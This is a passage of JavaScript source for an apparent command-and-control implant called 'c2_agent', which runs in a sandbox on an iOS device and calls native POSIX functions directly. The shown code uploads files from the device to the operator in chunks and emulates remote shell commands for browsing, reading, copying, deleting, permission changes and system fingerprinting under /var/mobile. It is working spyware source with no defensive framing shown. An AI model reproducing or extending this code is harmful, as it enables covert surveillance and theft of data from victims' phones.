{\n\t\t\tvar rd = readFileB64(files[fi], maxSz > 0 ? maxSz : MAX_FILE_SIZE);\n\t\t\tif (rd) {\n\t\t\t\tsendResult(cmd.command_id, rd.b64, fname, \"file_upload\");\n\t\t\t\tuploaded++;\n\t\t\t}\n\t\t} else {\n\t\t\tvar chunkRes = sendFileChunked(cmd.command_id, files[fi], fname, \"file_upload\");\n\t\t\tif (chunkRes && chunkRes.ok) uploaded++;\n\t\t}\n\t}\n\tsendJSON(cmd.command_id, {\n\t\tscanned: files.length, uploaded: uploaded,\n\t\t_task_id: p._task_id || \"\", _task_type: p._task_type || \"\"\n\t}, \"file_upload_summary.json\");\n}\n\n// ============================================================================\n// Execute Command - unified shell-like command interface\n// Since c2_agent runs in a JS sandbox without shell access, common shell\n// commands are emulated via POSIX native calls.\n// Result format follows API spec: { exit_code, stdout(b64), stderr(b64),\n// execution_time, timeout }\n// ============================================================================\n\nvar _cwd = \"/var/mobile\";\n\nfunction _parseArgs(cmdStr) {\n\tvar args = [];\n\tvar cur = \"\";\n\tvar inQ = 0;\n\tfor (var i = 0; i < cmdStr.length; i++) {\n\t\tvar c = cmdStr.charAt(i);\n\t\tif (c === '\\\\' && i + 1 < cmdStr.length) { cur += cmdStr.charAt(++i); continue; }\n\t\tif (inQ === 1) { if (c === \"'\") inQ = 0; else cur += c; continue; }\n\t\tif (inQ === 2) { if (c === '\"') inQ = 0; else cur += c; continue; }\n\t\tif (c === \"'\") { inQ = 1; continue; }\n\t\tif (c === '\"') { inQ = 2; continue; }\n\t\tif (c === ' ' || c === '\\t') {\n\t\t\tif (cur.length) { args.push(cur); cur = \"\"; }\n\t\t\tcontinue;\n\t\t}\n\t\tcur += c;\n\t}\n\tif (cur.length) args.push(cur);\n\treturn args;\n}\n\nfunction _resolvePath(p) {\n\tif (!p) return _cwd;\n\tif (p === \"~\") return \"/var/mobile\";\n\tif (p.indexOf(\"~/\") === 0) return \"/var/mobile\" + p.substring(1);\n\tif (p.charAt(0) === '/') return p;\n\tvar base = _cwd;\n\tif (base.charAt(base.length - 1) !== '/') base += '/';\n\tvar parts = (base + p).split('/');\n\tvar res = [];\n\tfor (var i = 0; i < parts.length; i++) {\n\t\tif (parts[i] === '' && i > 0) continue;\n\t\tif (parts[i] === '.') continue;\n\t\tif (parts[i] === '..') { if (res.length > 1) res.pop(); }\n\t\telse res.push(parts[i]);\n\t}\n\treturn res.join('/') || '/';\n}\n\nfunction _strToB64(s) {\n\tif (!s) return \"\";\n\treturn bytesToBase64(new Uint8Array(Native.stringToBytes(s, false)));\n}\n\nfunction _readFileBytes(path, maxSz) {\n\tmaxSz = maxSz || (2 * 1024 * 1024);\n\tvar fd = Number(Native.callSymbol(\"open\", path, 0, 0));\n\tif (fd < 0) return null;\n\ttry {\n\t\tvar sz = Number(Native.callSymbol(\"lseek\", fd, 0, 2));\n\t\tNative.callSymbol(\"lseek\", fd, 0, 0);\n\t\tif (sz < 0) return null;\n\t\tif (sz === 0) return new Uint8Array(0);\n\t\tvar toRead = sz > maxSz ? maxSz : sz;\n\t\tvar buf = Native.callSymbol(\"malloc\", BigInt(toRead));\n\t\tif (!buf || buf === 0n) return null;\n\t\ttry {\n\t\t\tvar nr = Number(Native.callSymbol(\"read\", fd, buf, toRead));\n\t\t\tif (nr <= 0) return new Uint8Array(0);\n\t\t\treturn new Uint8Array(Native.read(buf, nr));\n\t\t} finally { Native.callSymbol(\"free\", buf); }\n\t} finally { Native.callSymbol(\"close\", fd); }\n}\n\nfunction _rawToStr(bytes) {\n\tvar s = \"\";\n\tfor (var i = 0; i < bytes.length; i++) s += String.fromCharCode(bytes[i]);\n\treturn s;\n}\n\nfunction _statFile(path) {\n\tvar sb = Native.callSymbol(\"calloc\", 1, 144);\n\tif (!sb || sb === 0n) return null;\n\tvar r = Number(Native.callSymbol(\"lstat\", path, BigInt(sb)));\n\tif (r !== 0) { Native.callSymbol(\"free\", sb); return null; }\n\tvar mode = _readU16(BigInt(sb), 4);\n\tvar nlink = _readU16(BigInt(sb), 6);\n\tvar size = _readI64(BigInt(sb), 96);\n\tvar atime = _readI64(BigInt(sb), 32);\n\tvar mtime = _readI64(BigInt(sb), 48);\n\tvar ctime = _readI64(BigInt(sb), 80);\n\tNative.callSymbol(\"free\", sb);\n\tvar fmt = mode & 0xF000;\n\treturn {\n\t\tmode: mode, nlink: nlink, size: size,\n\t\tatime: atime, mtime: mtime, ctime: ctime,\n\t\tisDir: fmt === 0x4000, isFile: fmt === 0x8000, isLink: fmt === 0xA000,\n\t\ttype: fmt === 0x4000 ? \"dir\" : fmt === 0xA000 ? \"link\" : \"file\"\n\t};\n}\n\nfunction _modeStr(mode) {\n\tvar fmt = mode & 0xF000;\n\tvar t = fmt === 0x4000 ? 'd' : fmt === 0xA000 ? 'l' : '-';\n\tvar bits = [0x100,0x080,0x040,0x020,0x010,0x008,0x004,0x002,0x001];\n\tvar chars = \"rwxrwxrwx\";\n\tvar p = \"\";\n\tfor (var i = 0; i < 9; i++) p += (mode & bits[i]) ? chars.charAt(i) : '-';\n\treturn t + p;\n}\n\nfunction _fmtSizeH(n) {\n\tif (n < 1024) return n + \"\";\n\tif (n < 1048576) return (n / 1024).toFixed(1) + \"K\";\n\tif (n < 1073741824) return (n / 1048576).toFixed(1) + \"M\";\n\treturn (n / 1073741824).toFixed(1) + \"G\";\n}\n\n// ---- File System Commands ----\n\nfunction _cmdLs(args) {\n\tvar long = false, all = false, target = null;\n\tfor (var i = 1; i < args.length; i++) {\n\t\tvar a = args[i];\n\t\tif (a.charAt(0) === '-') {\n\t\t\tfor (var j = 1; j < a.length; j++) {\n\t\t\t\tif (a.charAt(j) === 'l') long = true;\n\t\t\t\tif (a.charAt(j) === 'a') all = true;\n\t\t\t}\n\t\t} else target = a;\n\t}\n\tvar path = _resolvePath(target);\n\tvar st = _statFile(path);\n\tif (!st) return { code: 2, out: \"\", err: \"ls: \" + path + \": No such file or directory\\n\" };\n\tif (st.isFile) {\n\t\tif (long) return { code: 0, out: _modeStr(st.mode) + \"\\t\" + st.size + \"\\t\" + path + \"\\n\", err: \"\" };\n\t\treturn { code: 0, out: path + \"\\n\", err: \"\" };\n\t}\n\tvar items = listDir(path);\n\tvar out = \"\";\n\tfor (var i = 0; i < items.length; i++) {\n\t\tif (!all && items[i].name.charAt(0) === '.') continue;\n\t\tif (long) {\n\t\t\tvar fp = path + (path === \"/\" ? \"\" : \"/\") + items[i].name;\n\t\t\tvar fs = _statFile(fp);\n\t\t\tif (fs) {\n\t\t\t\tout += _modeStr(fs.mode) + \"\\t\" + fs.size + \"\\t\" + items[i].name + \"\\n\";\n\t\t\t} else {\n\t\t\t\tout += (items[i].type === \"dir\" ? \"d\" : \"-\") + \"---------\\t0\\t\" + items[i].name + \"\\n\";\n\t\t\t}\n\t\t} else {\n\t\t\tout += items[i].name + \"\\n\";\n\t\t}\n\t}\n\treturn { code: 0, out: out, err: \"\" };\n}\n\nfunction _cmdCat(args) {\n\tif (args.length < 2) return { code: 1, out: \"\", err: \"cat: missing operand\\n\" };\n\tvar out = \"\", errs = \"\", fail = false;\n\tfor (var i = 1; i < args.length; i++) {\n\t\tvar path = _resolvePath(args[i]);\n\t\tvar acc = Number(Native.callSymbol(\"access\", path, 0));\n\t\tif (acc !== 0) { errs += \"cat: \" + path + \": No such file or directory\\n\"; fail = true; continue; }\n\t\tvar sz = getFileSize(path);\n\t\tif (sz > 2 * 1024 * 1024) { errs += \"cat: \" + path + \": File too large (max 2MB)\\n\"; fail = true; continue; }\n\t\tif (sz === 0) continue;\n\t\tvar bytes = _readFileBytes(path);\n\t\tif (!bytes || bytes.length === 0) continue;\n\t\tout += _rawToStr(bytes);\n\t}\n\treturn { code: fail ? 1 : 0, out: out, err: errs };\n}\n\nfunction _cmdPwd() { return { code: 0, out: _cwd + \"\\n\", err: \"\" }; }\n\nfunction _cmdCd(args) {\n\tvar target = args.length > 1 ? args[1] : \"/var/mobile\";\n\tvar path = _resolvePath(target);\n\tvar st = _statFile(path);\n\tif (!st) return { code: 1, out: \"\", err: \"cd: \" + path + \": No such file or directory\\n\" };\n\tif (!st.isDir) return { code: 1, out: \"\", err: \"cd: \" + path + \": Not a directory\\n\" };\n\t_cwd = path;\n\treturn { code: 0, out: \"\", err: \"\" };\n}\n\nfunction _cmdMkdir(args) {\n\tvar mkp = false, target = null;\n\tfor (var i = 1; i < args.length; i++) {\n\t\tif (args[i] === \"-p\") mkp = true;\n\t\telse target = args[i];\n\t}\n\tif (!target) return { code: 1, out: \"\", err: \"mkdir: missing operand\\n\" };\n\tvar path = _resolvePath(target);\n\tif (mkp) {\n\t\tvar parts = path.split('/');\n\t\tvar cur = \"\";\n\t\tfor (var i = 0; i < parts.length; i++) {\n\t\t\tcur += (i === 0 ? \"\" : \"/\") + parts[i];\n\t\t\tif (!cur) cur = \"/\";\n\t\t\tif (!_statFile(cur)) Native.callSymbol(\"mkdir\", cur, 0x1ed);\n\t\t}\n\t} else {\n\t\tvar r = Number(Native.callSymbol(\"mkdir\", path, 0x1ed));\n\t\tif (r !== 0) return { code: 1, out: \"\", err: \"mkdir: \" + path + \": Cannot create directory\\n\" };\n\t}\n\treturn { code: 0, out: \"\", err: \"\" };\n}\n\nfunction _rmRecursive(path) {\n\tvar items = listDir(path);\n\tfor (var i = 0; i < items.length; i++) {\n\t\tvar fp = path + \"/\" + items[i].name;\n\t\tif (items[i].type === \"dir\") _rmRecursive(fp);\n\t\telse Native.callSymbol(\"unlink\", fp);\n\t}\n\tNative.callSymbol(\"rmdir\", path);\n}\n\nfunction _cmdRm(args) {\n\tvar recursive = false, force = false, targets = [];\n\tfor (var i = 1; i < args.length; i++) {\n\t\tif (args[i].charAt(0) === '-') {\n\t\t\tfor (var j = 1; j < args[i].length; j++) {\n\t\t\t\tvar ch = args[i].charAt(j);\n\t\t\t\tif (ch === 'r' || ch === 'R') recursive = true;\n\t\t\t\tif (ch === 'f') force = true;\n\t\t\t}\n\t\t} else targets.push(args[i]);\n\t}\n\tif (!targets.length) return { code: 1, out: \"\", err: \"rm: missing operand\\n\" };\n\tvar errs = \"\";\n\tfor (var t = 0; t < targets.length; t++) {\n\t\tvar path = _resolvePath(targets[t]);\n\t\tvar st = _statFile(path);\n\t\tif (!st) { if (!force) errs += \"rm: \" + path + \": No such file or directory\\n\"; continue; }\n\t\tif (st.isDir) {\n\t\t\tif (!recursive) { errs += \"rm: \" + path + \": Is a directory\\n\"; continue; }\n\t\t\t_rmRecursive(path);\n\t\t} else {\n\t\t\tvar r = Number(Native.callSymbol(\"unlink\", path));\n\t\t\tif (r !== 0 && !force) errs += \"rm: \" + path + \": Permission denied\\n\";\n\t\t}\n\t}\n\treturn { code: errs ? 1 : 0, out: \"\", err: errs };\n}\n\nfunction _cmdCp(args) {\n\tif (args.length < 3) return { code: 1, out: \"\", err: \"cp: missing operand\\n\" };\n\tvar src = _resolvePath(args[1]);\n\tvar dst = _resolvePath(args[2]);\n\tvar srcSt = _statFile(src);\n\tif (!srcSt) return { code: 1, out: \"\", err: \"cp: \" + src + \": No such file or directory\\n\" };\n\tif (!srcSt.isFile) return { code: 1, out: \"\", err: \"cp: \" + src + \": Not a regular file\\n\" };\n\tvar dstSt = _statFile(dst);\n\tif (dstSt && dstSt.isDir) dst = dst + \"/\" + src.split('/').pop();\n\n\tvar srcFd = Number(Native.callSymbol(\"open\", src, 0, 0));\n\tif (srcFd < 0) return { code: 1, out: \"\", err: \"cp: \" + src + \": Permission denied\\n\" };\n\tvar dstFd = Number(Native.callSymbol(\"open\", dst, 0x0601, 0x1a4));\n\tif (dstFd < 0) { Native.callSymbol(\"close\", srcFd); return { code: 1, out: \"\", err: \"cp: \" + dst + \": Cannot create file\\n\" }; }\n\n\tvar BUF = 65536;\n\tvar buf = Native.callSymbol(\"malloc\", BigInt(BUF));\n\tif (!buf || buf === 0n) {\n\t\tNative.callSymbol(\"close\", srcFd); Native.callSymbol(\"close\", dstFd);\n\t\treturn { code: 1, out: \"\", err: \"cp: out of memory\\n\" };\n\t}\n\tvar err = \"\";\n\ttry {\n\t\tfor (;;) {\n\t\t\tvar nr = Number(Native.callSymbol(\"read\", srcFd, buf, BUF));\n\t\t\tif (nr <= 0) break;\n\t\t\tvar nw = Number(Native.callSymbol(\"write\", dstFd, buf, nr));\n\t\t\tif (nw !== nr) { err = \"cp: write error\\n\"; break; }\n\t\t}\n\t} finally {\n\t\tNative.callSymbol(\"free\", buf);\n\t\tNative.callSymbol(\"close\", srcFd);\n\t\tNative.callSymbol(\"close\", dstFd);\n\t}\n\tif (!err) Native.callSymbol(\"chmod\", dst, 0x1A4);\n\treturn { code: err ? 1 : 0, out: \"\", err: err };\n}\n\nfunction _cmdMv(args) {\n\tif (args.length < 3) return { code: 1, out: \"\", err: \"mv: missing operand\\n\" };\n\tvar src = _resolvePath(args[1]);\n\tvar dst = _resolvePath(args[2]);\n\tvar dstSt = _statFile(dst);\n\tif (dstSt && dstSt.isDir) dst = dst + \"/\" + src.split('/').pop();\n\tvar r = Number(Native.callSymbol(\"rename\", src, dst));\n\tif (r !== 0) return { code: 1, out: \"\", err: \"mv: cannot move \" + src + \" to \" + dst + \"\\n\" };\n\treturn { code: 0, out: \"\", err: \"\" };\n}\n\nfunction _cmdStat(args) {\n\tif (args.length < 2) return { code: 1, out: \"\", err: \"stat: missing operand\\n\" };\n\tvar path = _resolvePath(args[1]);\n\tvar st = _statFile(path);\n\tif (!st) return { code: 1, out: \"\", err: \"stat: \" + path + \": No such file or directory\\n\" };\n\tvar out = \" File: \" + path + \"\\n\";\n\tout += \" Size: \" + st.size + \"\\tType: \" + st.type + \"\\n\";\n\tout += \" Mode: \" + _modeStr(st.mode) + \" (\" + (st.mode & 0xFFF).toString(8) + \")\\n\";\n\tout += \" Links: \" + st.nlink + \"\\n\";\n\tout += \"Access: \" + new Date(st.atime * 1000).toISOString() + \"\\n\";\n\tout += \"Modify: \" + new Date(st.mtime * 1000).toISOString() + \"\\n\";\n\tout += \"Change: \" + new Date(st.ctime * 1000).toISOString() + \"\\n\";\n\treturn { code: 0, out: out, err: \"\" };\n}\n\nfunction _cmdChmod(args) {\n\tif (args.length < 3) return { code: 1, out: \"\", err: \"chmod: missing operand\\n\" };\n\tvar mode = parseInt(args[1], 8);\n\tif (isNaN(mode)) return { code: 1, out: \"\", err: \"chmod: invalid mode: \" + args[1] + \"\\n\" };\n\tvar path = _resolvePath(args[2]);\n\tvar r = Number(Native.callSymbol(\"chmod\", path, mode));\n\tif (r !== 0) return { code: 1, out: \"\", err: \"chmod: \" + path + \": Operation not permitted\\n\" };\n\treturn { code: 0, out: \"\", err: \"\" };\n}\n\nfunction _cmdTouch(args) {\n\tif (args.length < 2) return { code: 1, out: \"\", err: \"touch: missing operand\\n\" };\n\tvar path = _resolvePath(args[1]);\n\tvar st = _statFile(path);\n\tif (st) {\n\t\tNative.callSymbol(\"utimes\", path, 0n);\n\t} else {\n\t\tvar fd = Number(Native.callSymbol(\"open\", path, 0x0601, 0x1a4));\n\t\tif (fd < 0) return { code: 1, out: \"\", err: \"touch: \" + path + \": Cannot create file\\n\" };\n\t\tNative.callSymbol(\"close\", fd);\n\t}\n\treturn { code: 0, out: \"\", err: \"\" };\n}\n\nfunction _cmdLn(args) {\n\tvar sym = false, target = null, link = null;\n\tfor (var i = 1; i < args.length; i++) {\n\t\tif (args[i] === \"-s\") sym = true;\n\t\telse if (!target) target = args[i];\n\t\telse link = args[i];\n\t}\n\tif (!target || !link) return { code: 1, out: \"\", err: \"ln: usage: ln [-s] target link\\n\" };\n\tvar tgt = _resolvePath(target);\n\tvar lnk = _resolvePath(link);\n\tvar fn = sym ? \"symlink\" : \"link\";\n\tvar r = Number(Native.callSymbol(fn, tgt, lnk));\n\tif (r !== 0) return { code: 1, out: \"\", err: \"ln: \" + lnk + \": Operation failed\\n\" };\n\treturn { code: 0, out: \"\", err: \"\" };\n}\n\nfunction _cmdReadlink(args) {\n\tif (args.length < 2) return { code: 1, out: \"\", err: \"readlink: missing operand\\n\" };\n\tvar path = _resolvePath(args[1]);\n\tvar buf = Native.callSymbol(\"malloc\", 1024);\n\tif (!buf || buf === 0n) return { code: 1, out: \"\", err: \"readlink: failed\\n\" };\n\ttry {\n\t\tvar len = Number(Native.callSymbol(\"readlink\", path, buf, 1023));\n\t\tif (len <= 0) return { code: 1, out: \"\", err: \"readlink: \" + path + \": Invalid argument\\n\" };\n\t\treturn { code: 0, out: Native.readString(buf, len) + \"\\n\", err: \"\" };\n\t} finally { Native.callSymbol(\"free\", buf); }\n}\n\nfunction _matchGlob(name, pattern) {\n\tif (!pattern) return true;\n\tif (pattern === \"*\") return true;\n\tif (pattern.indexOf('*') < 0 && pattern.indexOf('?') < 0) return name === pattern;\n\tvar re = \"^\";\n\tfor (var i = 0; i < pattern.length; i++) {\n\t\tvar c = pattern.charAt(i);\n\t\tif (c === '*') re += \".*\";\n\t\telse if (c === '?') re += \".\";\n\t\telse if (\".+^${}()|[]\\\\\".indexOf(c) >= 0) re += \"\\\\\" + c;\n\t\telse re += c;\n\t}\n\tre += \"$\";\n\ttry { return new RegExp(re).test(name); }\n\tcatch(e) { return name.indexOf(pattern.replace(/\\*/g, '')) >= 0; }\n}\n\nfunction _findRecursive(base, namePattern, typeFilter, results, depth, maxDepth) {\n\tif (depth > maxDepth || results.length > 10000) return;\n\tvar items = listDir(base);\n\tfor (var i = 0; i < items.length; i++) {\n\t\tvar fp = base + (base === \"/\" ? \"\" : \"/\") + items[i].name;\n\t\tvar isDir = items[i].type === \"dir\";\n\t\tvar isFile = items[i].type === \"file\";\n\t\tif (typeFilter === \"f\" && !isFile) {\n\t\t\tif (isDir) _findRecursive(fp, namePattern, typeFilter, results, depth + 1, maxDepth);\n\t\t\tcontinue;\n\t\t}\n\t\tif (typeFilter === \"d\" && !isDir) continue;\n\t\tif (_matchGlob(items[i].name, namePattern)) results.push(fp);\n\t\tif (isDir) _findRecursive(fp, namePattern, typeFilter, results, depth + 1, maxDepth);\n\t}\n}\n\nfunction _cmdFind(args) {\n\tvar searchPath = null, namePattern = null, typeFilter = null;\n\tvar i = 1;\n\twhile (i < args.length) {\n\t\tif (args[i] === \"-name\" && i + 1 < args.length) { namePattern = args[i + 1]; i += 2; }\n\t\telse if (args[i] === \"-type\" && i + 1 < args.length) { typeFilter = args[i + 1]; i += 2; }\n\t\telse if (args[i].charAt(0) !== '-') { searchPath = args[i]; i++; }\n\t\telse { i++; }\n\t}\n\tvar path = _resolvePath(searchPath || \".\");\n\tvar results = [];\n\t_findRecursive(path, namePattern, typeFilter, results, 0, 20);\n\treturn { code: 0, out: results.join(\"\\n\") + (results.length ? \"\\n\" : \"\"), err: \"\" };\n}\n\nfunction _cmdHead(args) {\n\tvar n = 10, file = null;\n\tfor (var i = 1; i < args.length; i++) {\n\t\tif (args[i] === \"-n\" && i + 1 < args.length) { n = parseInt(args[++i]); }\n\t\telse if (args[i].charAt(0) !== '-') file = args[i];\n\t}\n\tif (!file) return { code: 1, out: \"\", err: \"head: missing operand\\n\" };\n\tvar path = _resolvePath(file);\n\tvar bytes = _readFileBytes(path);\n\tif (!bytes) return { code: 1, out: \"\", err: \"head: \" + path + \": No such file or directory\\n\" };\n\tvar text = _rawToStr(bytes);\n\tvar lines = text.split('\\n');\n\tvar out = lines.slice(0, n).join('\\n');\n\tif (lines.length > n) out += '\\n';\n\treturn { code: 0, out: out, err: \"\" };\n}\n\nfunction _cmdTail(args) {\n\tvar n = 10, file = null;\n\tfor (var i = 1; i < args.length; i++) {\n\t\tif (args[i] === \"-n\" && i + 1 < args.length) { n = parseInt(args[++i]); }\n\t\telse if (args[i].charAt(0) !== '-') file = args[i];\n\t}\n\tif (!file) return { code: 1, out: \"\", err: \"tail: missing operand\\n\" };\n\tvar path = _resolvePath(file);\n\tvar bytes = _readFileBytes(path);\n\tif (!bytes) return { code: 1, out: \"\", err: \"tail: \" + path + \": No such file or directory\\n\" };\n\tvar text = _rawToStr(bytes);\n\tvar lines = text.split('\\n');\n\tvar start = lines.length > n ? lines.length - n : 0;\n\treturn { code: 0, out: lines.slice(start).join('\\n'), err: \"\" };\n}\n\nfunction _cmdWc(args) {\n\tvar cntL = false, cntW = false, cntC = false, file = null;\n\tfor (var i = 1; i < args.length; i++) {\n\t\tif (args[i].charAt(0) === '-') {\n\t\t\tfor (var j = 1; j < args[i].length; j++) {\n\t\t\t\tvar ch = args[i].charAt(j);\n\t\t\t\tif (ch === 'l') cntL = true;\n\t\t\t\tif (ch === 'w') cntW = true;\n\t\t\t\tif (ch === 'c') cntC = true;\n\t\t\t}\n\t\t} else file = args[i];\n\t}\n\tif (!file) return { code: 1, out: \"\", err: \"wc: missing operand\\n\" };\n\tif (!cntL && !cntW && !cntC) { cntL = true; cntW = true; cntC = true; }\n\tvar path = _resolvePath(file);\n\tvar bytes = _readFileBytes(path);\n\tif (!bytes) return { code: 1, out: \"\", err: \"wc: \" + path + \": No such file or directory\\n\" };\n\tvar text = _rawToStr(bytes);\n\tvar out = \"\";\n\tif (cntL) { var nl = 0; for (var k = 0; k < text.length; k++) if (text.charAt(k) === '\\n') nl++; out += nl + \"\\t\"; }\n\tif (cntW) {\n\t\tvar wc = 0, inWord = false;\n\t\tfor (var k = 0; k < text.length; k++) {\n\t\t\tvar cc = text.charCodeAt(k);\n\t\t\tvar ws = (cc === 32 || cc === 9 || cc === 10 || cc === 13);\n\t\t\tif (!ws && !inWord) { wc++; inWord = true; }\n\t\t\tif (ws) inWord = false;\n\t\t}\n\t\tout += wc + \"\\t\";\n\t}\n\tif (cntC) out += bytes.length + \"\\t\";\n\tout += path + \"\\n\";\n\treturn { code: 0, out: out, err: \"\" };\n}\n\nfunction _cmdGrep(args) {\n\tif (args.length < 3) return { code: 1, out: \"\", err: \"grep: usage: grep pattern file\\n\" };\n\tvar ignCase = false, lineNum = false;\n\tvar pattern = null, file = null;\n\tfor (var i = 1; i < args.length; i++) {\n\t\tif (args[i] === \"-i\") ignCase = true;\n\t\telse if (args[i] === \"-n\") lineNum = true;\n\t\telse if (!pattern) pattern = args[i];\n\t\telse file = args[i];\n\t}\n\tif (!pattern || !file) return { code: 1, out: \"\", err: \"grep: usage: grep [-in] pattern file\\n\" };\n\tvar path = _resolvePath(file);\n\tvar bytes = _readFileBytes(path);\n\tif (!bytes) return { code: 1, out: \"\", err: \"grep: \" + path + \": No such file or directory\\n\" };\n\tvar text = _rawToStr(bytes);\n\tvar lines = text.split('\\n');\n\tvar out = \"\";\n\tvar found = false;\n\tvar pat = ignCase ? pattern.toLowerCase() : pattern;\n\tfor (var i = 0; i < lines.length; i++) {\n\t\tvar line = ignCase ? lines[i].toLowerCase() : lines[i];\n\t\tif (line.indexOf(pat) >= 0) {\n\t\t\tout += (lineNum ? (i + 1) + \":\" : \"\") + lines[i] + \"\\n\";\n\t\t\tfound = true;\n\t\t}\n\t}\n\treturn { code: found ? 0 : 1, out: out, err: \"\" };\n}\n\nfunction _duRecursive(path, depth) {\n\tif (depth > 50) return 0;\n\tvar st = _statFile(path);\n\tif (!st) return 0;\n\tif (st.isFile) return st.size;\n\tvar total = 0;\n\tvar items = listDir(path);\n\tfor (var i = 0; i < items.length; i++) {\n\t\ttotal += _duRecursive(path + \"/\" + items[i].name, depth + 1);\n\t}\n\treturn total;\n}\n\nfunction _cmdDu(args) {\n\tvar summary = false, human = false, target = null;\n\tfor (var i = 1; i < args.length; i++) {\n\t\tif (args[i] === \"-s\") summary = true;\n\t\telse if (args[i] === \"-h\") human = true;\n\t\telse if (args[i].charAt(0) !== '-') target = args[i];\n\t}\n\tvar path = _resolvePath(target || \".\");\n\tvar total = _duRecursive(path, 0);\n\tvar sizeStr = human ? _fmtSizeH(total) : \"\" + (total / 1024 | 0);\n\treturn { code: 0, out: sizeStr + \"\\t\" + path + \"\\n\", err: \"\" };\n}\n\nfunction _cmdFile(args) {\n\tif (args.length < 2) return { code: 1, out: \"\", err: \"file: missing operand\\n\" };\n\tvar path = _resolvePath(args[1]);\n\tvar st = _statFile(path);\n\tif (!st) return { code: 1, out: \"\", err: \"file: \" + path + \": No such file or directory\\n\" };\n\tif (st.isDir) return { code: 0, out: path + \": directory\\n\", err: \"\" };\n\tif (st.isLink) return { code: 0, out: path + \": symbolic link\\n\", err: \"\" };\n\tvar bytes = _readFileBytes(path, 512);\n\tif (!bytes || bytes.length === 0) return { code: 0, out: path + \": empty\\n\", err: \"\" };\n\tif (bytes.length >= 4) {\n\t\tif (bytes[0]===0xCF && bytes[1]===0xFA && bytes[2]===0xED && bytes[3]===0xFE) return { code: 0, out: path + \": Mach-O 64-bit executable\\n\", err: \"\" };\n\t\tif (bytes[0]===0xCA && bytes[1]===0xFE && bytes[2]===0xBA && bytes[3]===0xBE) return { code: 0, out: path + \": Mach-O universal binary\\n\", err: \"\" };\n\t\tif (bytes[0]===0x89 && bytes[1]===0x50 && bytes[2]===0x4E && bytes[3]===0x47) return { code: 0, out: path + \": PNG image data\\n\", err: \"\" };\n\t\tif (bytes[0]===0xFF && bytes[1]===0xD8 && bytes[2]===0xFF) return { code: 0, out: path + \": JPEG image data\\n\", err: \"\" };\n\t\tif (bytes[0]===0x50 && bytes[1]===0x4B && bytes[2]===0x03 && bytes[3]===0x04) return { code: 0, out: path + \": Zip archive\\n\", err: \"\" };\n\t\tif (bytes[0]===0x53 && bytes[1]===0x51 && bytes[2]===0x4C && bytes[3]===0x69) return { code: 0, out: path + \": SQLite 3.x database\\n\", err: \"\" };\n\t\tif (bytes[0]===0x62 && bytes[1]===0x70 && bytes[2]===0x6C && bytes[3]===0x69) return { code: 0, out: path + \": Apple binary property list\\n\", err: \"\" };\n\t\tif (bytes[0]===0x3C && bytes[1]===0x3F && bytes[2]===0x78 && bytes[3]===0x6D) return { code: 0, out: path + \": XML document\\n\", err: \"\" };\n\t}\n\tvar isText = true;\n\tfor (var i = 0; i < Math.min(bytes.length, 256); i++) {\n\t\tif (bytes[i] < 9 || (bytes[i] > 13 && bytes[i] < 32 && bytes[i] !== 27)) { isText = false; break; }\n\t}\n\tif (isText) return { code: 0, out: path + \": ASCII text\\n\", err: \"\" };\n\treturn { code: 0, out: path + \": data\\n\", err: \"\" };\n}\n\nfunction _cmdHexdump(args) {\n\tvar maxBytes = 256, file = null;\n\tfor (var i = 1; i < args.length; i++) {\n\t\tif (args[i] === \"-n\" && i + 1 < args.length) { maxBytes = parseInt(args[++i]); }\n\t\telse if (args[i].charAt(0) !== '-') file = args[i];\n\t}\n\tif (!file) return { code: 1, out: \"\", err: \"hexdump: missing operand\\n\" };\n\tvar path = _resolvePath(file);\n\tvar bytes = _readFileBytes(path, maxBytes);\n\tif (!bytes) return { code: 1, out: \"\", err: \"hexdump: \" + path + \": No such file or directory\\n\" };\n\tvar out = \"\";\n\tfor (var i = 0; i < bytes.length; i += 16) {\n\t\tvar addr = (\"00000000\" + i.toString(16)).slice(-8);\n\t\tvar hex = \"\", ascii = \"\";\n\t\tfor (var j = 0; j < 16; j++) {\n\t\t\tif (i + j < bytes.length) {\n\t\t\t\thex += (\"0\" + bytes[i + j].toString(16)).slice(-2) + \" \";\n\t\t\t\tascii += (bytes[i + j] >= 32 && bytes[i + j] < 127) ? String.fromCharCode(bytes[i + j]) : \".\";\n\t\t\t} else { hex += \" \"; }\n\t\t\tif (j === 7) hex += \" \";\n\t\t}\n\t\tout += addr + \" \" + hex + \" |\" + ascii + \"|\\n\";\n\t}\n\treturn { code: 0, out: out, err: \"\" };\n}\n\n// ---- System Info Commands ----\n\nfunction _cmdWhoami() {\n\tvar uid = Number(Native.callSymbol(\"getuid\"));\n\treturn { code: 0, out: (uid === 0 ? \"root\" : \"mobile\") + \"\\n\", err: \"\" };\n}\n\nfunction _cmdId() {\n\tvar uid = Number(Native.callSymbol(\"getuid\"));\n\tvar gid = Number(Native.callSymbol(\"getgid\"));\n\tvar euid = Number(Native.callSymbol(\"geteuid\"));\n\tvar egid = Number(Native.callSymbol(\"getegid\"));\n\tvar uname = uid === 0 ? \"root\" : \"mobile\";\n\tvar gname = gid === 0 ? \"wheel\" : gid === 501 ? \"mobile\" : \"\" + gid;\n\tvar out = \"uid=\" + uid + \"(\" + uname + \") gid=\" + gid + \"(\" + gname + \")\";\n\tif (euid !== uid) out += \" euid=\" + euid;\n\tif (egid !== gid) out += \" egid=\" + egid;\n\treturn { code: 0, out: out + \"\\n\", err: \"\" };\n}\n\nfunction _cmdUname(args) {\n\tvar all = false;\n\tfor (var i = 1; i < args.length; i++) if (args[i] === \"-a\") all = true;\n\tvar uts = Native.callSymbol(\"calloc\", 1, 1536);\n\tif (!uts || uts === 0n) return { code: 1, out: \"\", err: \"uname: failed\\n\" };\n\ttry {\n\t\tNative.callSymbol(\"uname\", uts);\n\t\tvar sysname = Native.readString(uts, 256).replace(/\\0/g, \"\");\n\t\tvar nodename = Native.readString(uts + 256n, 256).replace(/\\0/g, \"\");\n\t\tvar release = Native.readString(uts + 512n, 256).replace(/\\0/g, \"\");\n\t\tvar version = Native.readString(uts + 768n, 256).replace(/\\0/g, \"\");\n\t\tvar machine = Native.readString(uts + 1024n, 256).replace(/\\0/g, \"\");\n\t\tif (all) return { code: 0, out: sysname + \" \" + nodename + \" \" + release + \" \" + version + \" \" + machine + \"\\n\", err: \"\" };\n\t\treturn { code: 0, out: sysname + \"\\n\", err: \"\" };\n\t} finally { Native.callSymbol(\"free\", uts); }\n}\n\nfunction _cmdHostname() {\n\tvar buf = Native.callSymbol(\"malloc\", 256);\n\tif (!buf || buf === 0n) return { code: 1, out: \"\", err: \"hostname: failed\\n\" };\n\ttry {\n\t\tvar r = Number(Native.callSymbol(\"gethostname\", buf, 